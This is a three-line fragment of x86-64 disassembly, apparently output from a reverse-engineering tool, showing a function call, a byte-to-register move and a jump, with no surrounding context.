call fcn.1400cf740
movzx eax, bl
jmp 0x1400042eb